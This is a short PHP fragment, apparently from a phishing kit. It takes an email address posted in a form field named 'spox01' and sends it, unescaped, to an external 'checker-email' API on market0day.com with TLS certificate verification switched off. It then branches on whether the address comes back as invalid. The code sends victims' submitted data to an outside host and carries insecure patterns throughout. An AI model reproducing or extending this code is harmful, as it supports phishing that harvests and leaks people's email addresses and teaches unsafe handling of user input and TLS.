$ch=curl_init();
    curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,false);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
    curl_setopt($ch,CURLOPT_URL,"https://market0day.com/api/checker-email.php?email=".$_POST['spox01']."");
    curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,0);
    curl_setopt($ch,CURLOPT_TIMEOUT,400);
    $json=curl_exec($ch);
    $code=json_decode($json);
    $email_check = $code->status;

    $_SESSION['email_check'] = $email_check;

 if ($_SESSION['email_check'] == 'invalid' || $_SESSION['email_check'] == '209'){
// enter your code here if invalid
}